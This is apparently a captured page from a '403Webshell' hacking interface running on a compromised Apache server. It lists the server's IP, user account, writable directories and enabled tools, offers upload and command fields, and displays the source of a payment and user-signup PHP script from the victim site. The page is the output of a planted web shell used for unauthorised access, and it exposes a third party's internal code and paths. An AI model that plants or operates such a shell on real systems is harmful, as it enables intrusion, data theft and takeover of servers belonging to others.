403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/CreateUserTest.php
<?
/**
 * CreateUser.php
 * 
 * This file will create a new user within the Learning Center CRM.  
 * @package LCAPI
 * @see UserSignup
 * @author Patrick Miller <patrick@spcoaching.com>
 * @version 0.1
 * @copyright Copywrite (c) Synergy Pro Marketing
 */

/* *
 * Run Phpdocumentor. TODO: Need to put this in a script. 
 * phpdoc -o HTML:Smarty:HandS -f /home/learning/www/lcapi/CreateUser.php,/home/learning/www/lcapi/inc/UserSignup.php -t /home/learning/www/lcapi/docs-new
 */

/**
 * @access private
 */
require_once($_SERVER['DOCUMENT_ROOT'].'/php/db_config_lc_user.php'); 
/**
 * @access private
 */
require_once("{$_SERVER["DOCUMENT_ROOT"]}/lcapi/inc/UserSignup_new.php");
/**
 * @access private
 */
require_once("{$_SERVER["DOCUMENT_ROOT"]}/lcapi/inc/Logger.php");
/**
 * @access private
 */
require_once("{$_SERVER["DOCUMENT_ROOT"]}/lcapi/inc/common.php");

$site = (isset($_REQUEST['site']) && $_REQUEST['site'] != '') ? preg_replace('/[^a-zA-Z0-9]/','',$_REQUEST['site']) : '';  
$sendemail = ($_REQUEST['sendemail'] == 'no') ? 'no' : 'yes';
$email_type = (isset($_REQUEST['email_type']) && $_REQUEST['email_type'] != '') ? $_REQUEST['email_type'] : 'Welcome';

if(!$db = connect_lc2user_new('lc2'.$site.'_lc')) {
	SendError(__FILE__." at line ".__LINE__, "Failure to connect to database (lc2".$site."_lc). MySQL: ".$db->error());
	die("Failure: Unable to connect to database.");  
} 
//$db->debug_all = true; 
//$db->show_errors();

SendDebug(__FILE__);
$user = new UserSignup($db, $site);

if (!$user->LoadUser($site)) {
	SendError("LoadUser() in ".__FILE__." at line ".__LINE__,$user->lasterror);
	die("Failure: " . $user->lasterror);
}

if ($user->leadid == "") {
	if (!$user->CreateLead()) {
		SendError("CreateLead() in ".__FILE__." at line ".__LINE__,$user->lasterror);
		die("Failure: Unable to create lead. " . $user->lasterror);
	}
}

if (!$user->ChargeUser()) {
	$error = $user->lasterror; 
	$user->SaveBillingResult();
	SendError("ChargeUser() in ".__FILE__." at line ".__LINE__,$error);
	die("Failure: " . $error);
}

if (!$user->CreateAccount()) {
	// Uh-oh! If we got here it means we billed the user
	// but we can't create their account!
	// Try to save the billing information, if possible
	$error = $user->lasterror; 
	$user->SaveBillingResult();
	SendError("CreateAccount() in ".__FILE__." at line ".__LINE__,$error);
	die("Failure: Unable to create user account. " . $error);
}

if (!$user->SaveBillingResult()) {
	// OK, not a HUGE deal, but a slight problem nonetheless.
	// We were able to create an account for the user but we weren't able
	// to save their billing information. This is not a fatal error
	// the function SaveBillingResult takes care of sending us some debug info
}

// If we got here then everything is good!
// Send them their welcome email!
// if sendemail is set to 'no', then don't send the welcome email

if ($sendemail == 'yes') {
	$user->SendEmail($email_type);
}

if(in_array($user->site,array('op2','mos','ebs','safe','safe1','mebi','mebibj','hcg','extreme'))) { //inserts new user into joomla backend for dbgroup-inc
	if(add_user_to_joomla($user->fname." ".$user->lname, $user->email, $user->email, $user->zip, $user->site) !== true) {
		SendError("add_user_to_joomla() in ".__FILE__." at line ".__LINE__,$result);
	}
}
die("Success: " . $user->userid);

Youez - 2016 - github.com/yon3zu
LinuXploit